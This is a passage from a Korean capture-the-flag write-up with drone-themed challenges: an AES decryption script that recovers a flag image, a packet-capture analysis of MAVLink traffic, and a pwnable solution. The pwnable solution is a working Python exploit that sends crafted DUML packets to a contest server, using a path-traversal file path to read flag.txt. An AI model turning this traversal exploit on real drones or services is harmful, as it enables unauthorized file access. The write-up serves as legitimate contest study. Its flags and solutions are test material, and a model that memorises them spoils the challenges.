self.gf_mul_11[self._state[i + 8]] ^ self.gf_mul_13[self._state[i + 12]] s[i + 8] = self.gf_mul_13[self._state[i]] ^ self.gf_mul_9[self._state[i + 4]] ^ self.gf_mul_14[self._state[i + 8]] ^ self.gf_mul_11[self._state[i + 12]] s[i + 12] = self.gf_mul_11[self._state[i]] ^ self.gf_mul_13[self._state[i + 4]] ^ self.gf_mul_9[self._state[i + 8]] ^ self.gf_mul_14[self._state[i + 12]] self._state = s def _encrypt(self, plaintext): self._state = self._transpose(plaintext) print(self._state) self._add_round_key(0) for round_n in range(1, self._round): self._sub_bytes() self._shift_rows() self._mix_columns() self._add_round_key(round_n) self._sub_bytes() self._shift_rows() self._add_round_key(self._round) return bytes(self._transpose(self._state)) def _decrypt(self, ciphertext): self._state = self._transpose(ciphertext) self._add_round_key(self._round) self._shift_rows_inv() self._sub_bytes_inv() for round_n in range(self._round - 1, 0, -1): self._add_round_key(round_n) self._mix_columns_inv() self._shift_rows_inv() self._sub_bytes_inv() self._add_round_key(0) return bytes(self._transpose(self._state)) def encrypt(self, plaintext): assert len(plaintext) % self._block_size == 0 ciphertext = b"" for i in range(0, len(plaintext), self._block_size): ciphertext += self._encrypt(plaintext[i : i + self._block_size]) return ciphertext def decrypt(self, ciphertext): assert len(ciphertext) % self._block_size == 0 plaintext = b"" for i in range(0, len(ciphertext), self._block_size): plaintext += self._decrypt(ciphertext[i : i + self._block_size]) return plaintext if __name__ == "__main__": key = b'AES128_CipherKey' aes = AES_implemented(b'x' * 16) key = aes._transpose(key) aes._round_keys = aes._expand_key(key) with open("flag.jpg", "rb") as f: data = f.read() with open("flag-org.jpg", "wb") as f: for i in range(0, len(data), 16): dec = data[i:i+16] plain = bytes(aes._transpose(aes.decrypt(aes._transpose(dec)))) f.write(plain) ``` #### Flag - HTD{Th3_dr0nes_system_was_allowing_c0mplete_remote_c0ntr0l!} ## Pwnable ### 4. Dron3 H4cks #### Description ![image](https://hackmd.io/_uploads/rk1dbN5hC.png) #### Solution - log 파일을 관리하는 서비스로 DUML 패킷을 통해 상호작용 가능 - 복사하려는 로그 파일의 경로에 path traversal 취약점이 발생하여 flag.txt를 임의 로그 파일로 저장할 수 있음 #### Code ```python import struct import socket import random from crc import calc_hdr_checksum, calc_checksum # 서버 주소 및 포트 설정 SERVER_ADDRESS = ('15.164.114.238', 7810) # 서버 IP 및 포트 BUFFER_SIZE = 1024 # 패킷을 생성하는 함수 (handle_DUML3 패킷) def create_handle_duml3_packet(g_seq, log_num): sequence_number = g_seq + 1 packet_type = 0x05 # DUML 패킷 헤더 magic = 0x55 version = 0x3 length = 77 # DUML 헤더 구성 header = struct.pack("<BBB", magic, length & 0xFF, (version << 2) | ((length >> 8) & 0x03)) crc8 = bytes([calc_hdr_checksum(0x77, header, 3)]) # DUML Transit src_id = 1 src_type = 1 dest_id = 1 dest_type = 1 counter = random.randint(0, 65535) transit = struct.pack("<BBH", (src_id << 5) | src_type, (dest_id << 5) | dest_type, counter) # DUML Command cmd_type = 0 ack_type = 0 encrypt = 0 cmd_set = 99 # cmd_set = 99 cmd_id = 3 # cmd_id = 3 (handle_DUML3 호출) command = struct.pack("<BBB", (cmd_type << 7) | (ack_type << 5) | encrypt, cmd_set, cmd_id) # DUML Payload (log_num 설정) log_num_padded = str(log_num).ljust(64, '\x00').encode('utf-8') cmd_payload = log_num_padded # 전체 패킷 생성 (header + transit + command + payload) full_packet = header + crc8 + transit + command + cmd_payload crc16 = calc_checksum(full_packet, len(full_packet)) # 최종 패킷에 CRC16 추가 payload = full_packet + struct.pack("<H", crc16) # DJI UDP 패킷 생성 (UDP 헤더 + payload) packet_length = 5 + len(payload) # UDP 헤더 포함 길이 계산 packet = struct.pack('<HHB', packet_length ^ (1 << 15), sequence_number, packet_type) + payload return packet # 파일 복사를 위해 handle_DUML4 패킷을 생성하는 함수 def create_handle_duml4_packet(g_seq, source_file, dest_file): sequence_number = g_seq + 1 packet_type = 0x05 # DUML 패킷 헤더 magic = 0x55 version = 0x3 length = 141 # DUML 헤더 구성 header = struct.pack("<BBB", magic, length & 0xFF, (version << 2) | ((length >> 8) & 0x03)) crc8 = bytes([calc_hdr_checksum(0x77, header, 3)]) # DUML Transit src_id = 1 src_type = 1 dest_id = 1 dest_type = 1 counter = random.randint(0, 65535) transit = struct.pack("<BBH", (src_id << 5) | src_type, (dest_id << 5) | dest_type, counter) # DUML Command cmd_type = 0 ack_type = 0 encrypt = 0 cmd_set = 99 # cmd_set = 99 cmd_id = 4 # cmd_id = 4 (handle_DUML4 호출) command = struct.pack("<BBB", (cmd_type << 7) | (ack_type << 5) | encrypt, cmd_set, cmd_id) # DUML Payload (source_file와 dest_file 설정) source_file_padded = source_file.ljust(64, '\x00').encode('utf-8') dest_file_padded = dest_file.ljust(64, '\x00').encode('utf-8') cmd_payload = source_file_padded + dest_file_padded # 전체 패킷 생성 (header + transit + command + payload) full_packet = header + crc8 + transit + command + cmd_payload crc16 = calc_checksum(full_packet, len(full_packet)) # 최종 패킷에 CRC16 추가 payload = full_packet + struct.pack("<H", crc16) # DJI UDP 패킷 생성 (UDP 헤더 + payload) packet_length = 5 + len(payload) packet = struct.pack('<HHB', packet_length ^ (1 << 15), sequence_number, packet_type) + payload return packet # DUML3 패킷을 서버로 전송하는 함수 (로그 파일 읽기) def send_handle_duml3_packet(log_num): sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) # g_seq 값을 1로 설정 (또는 적절한 값 설정) packet = create_handle_duml3_packet(1, log_num) sock.sendto(packet, SERVER_ADDRESS) # 서버 응답 수신 response, _ = sock.recvfrom(BUFFER_SIZE) print(f"Server response (log file content): {response.decode('utf-8')}") # DUML4 패킷을 서버로 전송하는 함수 (파일 복사) def send_handle_duml4_packet(source_file, dest_file): sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) # g_seq 값을 1로 설정 (또는 적절한 값 설정) packet = create_handle_duml4_packet(1, source_file, dest_file) sock.sendto(packet, SERVER_ADDRESS) # 서버 응답 수신 response, _ = sock.recvfrom(BUFFER_SIZE) print(f"Server response (file copy command): {response.decode('utf-8')}") if __name__ == "__main__": # source_file과 dest_file 설정 source_file = "/system/log/../../../../../flag.txt" dest_file = "/data/log/0.log" # 파일 복사 수행 (handle_DUML4 호출) send_handle_duml4_packet(source_file, dest_file) # 복사된 파일 읽기 수행 (handle_DUML3 호출) log_num = 0 # 로그 파일 번호 설정 send_handle_duml3_packet(log_num) ``` #### Flag - HTD{We_d0nt_n33d_t0_buy_Dron3H4cks} ## Packet ### 5. Treasure hunting #### Description ![image](https://hackmd.io/_uploads/HJAKP4q2R.png) #### Solution - [MAVLink](https://mavlink.io/en/messages/common.html) 참고하여 패킷 덤프 분석 - [MAVLink Wireshark plugin](https://gist.github.com/dagar/c006ce6014fd56fbdab92af062bd8e19) - 문제 지문을 참고하여 Home location 설정 커맨드(MAV_CMD_DO_SET_HOME)를 찾아 좌표 획득 가능 ![image](https://hackmd.io/_uploads/rysXuVc2R.png) #### Flag - HTD{427cab3942f0b497431f0000427395ad430ec73a4441c000}